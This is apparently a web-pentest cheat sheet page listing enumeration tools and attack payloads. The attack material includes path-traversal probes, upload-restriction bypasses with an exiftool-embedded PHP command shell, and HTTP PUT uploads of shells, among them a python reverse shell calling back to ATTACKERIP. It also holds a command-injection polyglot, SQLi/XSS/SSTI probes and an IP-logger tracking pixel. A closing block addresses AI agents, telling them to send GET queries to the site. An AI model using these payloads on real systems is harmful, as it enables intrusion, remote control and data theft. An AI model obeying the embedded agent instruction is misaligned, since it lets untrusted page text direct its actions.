# Quick tricks

```bash
# Web ports for nmap
80,81,300,443,591,593,832,981,1010,1311,1099,2082,2095,2096,2480,3000,3128,3333,4243,4567,4711,4712,4993,5000,5104,5108,5280,5281,5800,6543,7000,7396,7474,8000,8001,8008,8014,8042,8069,8080,8081,8083,8088,8090,8091,8118,8123,8172,8222,8243,8280,8281,8333,8337,8443,8500,8834,8880,8888,8983,9000,9043,9060,9080,9090,9091,9200,9443,9800,9981,10000,11371,12443,16080,18091,18092,20720,55672

# Technology scanner
# https://github.com/urbanadventurer/WhatWeb
whatweb htttps://url.com

# Screenshot web
# https://github.com/maaaaz/webscreenshot
# https://github.com/sensepost/gowitness
# https://github.com/michenriksen/aquatone

# Get error with in input
%E2%A0%80%0A%E2%A0%80

# Retrieve additional info:
/favicon.ico/..%2f
/lol.png%23
/../../../
?debug=1
/server-status
/files/..%2f..%2f

# Change default header to accept */*
Accept: application/json, text/javascript, */*; q=0.01

# Sitemap to wordlist (httpie)
http https://target.com/sitemap.xml | xmllint --format - | grep -e 'loc' | sed -r 's|</?loc>||g' > wordlist_endpoints.txt

# Bypass Rate Limits:
# Use different params: 
    sign-up, Sign-up, SignUp
# Null byte on params:
    %00, %0d%0a, %09, %0C, %20, %0

# Bypass upload restrictions:
# Change extension: .pHp3 or pHp3.jpg
# Modify mimetype: Content-type: image/jpeg
# Bypass getimagesize(): exiftool -Comment='"; system($_GET['cmd']); ?>' file.jpg
# Add gif header: GIF89a;
# All at the same time.

# ImageTragic (memory leaks in gif preview)
# https://github.com/neex/gifoeb
./gifoeb gen 512x512 dump.gif
# Upload dump.gif multiple times, check if preview changes.
# Check docs for exploiting

# If upload from web is allowed or :
# https://medium.com/@shahjerry33/pixel-that-steals-data-im-invisible-3c938d4c3888
# https://iplogger.org/invisible/
# https://iplogger.org/15bZ87

# Check HTTP options:
# Check if it is possible to upload
curl -v -k -X OPTIONS https://10.11.1.111/
# If put enabled, upload:
curl -v -X PUT -d '' http://10.11.1.111/test/shell.php
nmap -p 80 192.168.1.124 --script http-put --script-args http-put.url='/test/rootme.php',http-put.file='/root/php-reverse-shell.php'
curl -v -X PUT -d '' http://VICTIMIP/test/cmd.php && http://VICTIMIP/test/cmd.php?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22ATTACKERIP%22,443));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27
curl -i -X PUT -H “Content-Type: text/plain; charset=utf-8” -d “/root/Desktop/meterpreter.php” http://VICTIMIP:8585/uploads/meterpreter.php
# If PUT is not allowed, try to override:
X-HTTP-Method-Override: PUT
X-Method-Override: PUT

# Retrieve endpoints
# LinkFinder
# https://github.com/GerbenJavado/LinkFinder
python linkfinder.py -i https://example.com -d
python linkfinder.py -i burpfile -b

# Retreive hidden parameters
# Tools
# https://github.com/s0md3v/Arjun
python3 arjun.py -u https://url.com --get 
python3 arjun.py -u https://url.com --post
# https://github.com/maK-/parameth
python parameth.py -u https://example.com/test.php
# https://github.com/devanshbatham/ParamSpider
python3 paramspider.py --domain example.com
# https://github.com/s0md3v/Parth
python3 parth.py -t example.com

# .DS_Store files?
# https://github.com/gehaxelt/Python-dsstore
python main.py samples/.DS_Store.ctf

# Polyglot RCE payload
1;sleep${IFS}9;#${IFS}’;sleep${IFS}9;#${IFS}”;sleep${IFS}9;#${IFS}

# Nmap web scan
nmap --script "http-*" example.com -p 443

# SQLi + XSS + SSTI
'"><svg/onload=prompt(5);>{{7*7}}
' ==> for Sql injection 
"><svg/onload=prompt(5);> ==> for XSS 
{{7*7}} ==> for SSTI/CSTI

# Try to connect with netcat to port 80
nc -v host 80

# Understand URL params with unfurl
https://dfir.blog/unfurl/
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentest-book.com/enumeration/web/quick-tricks.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.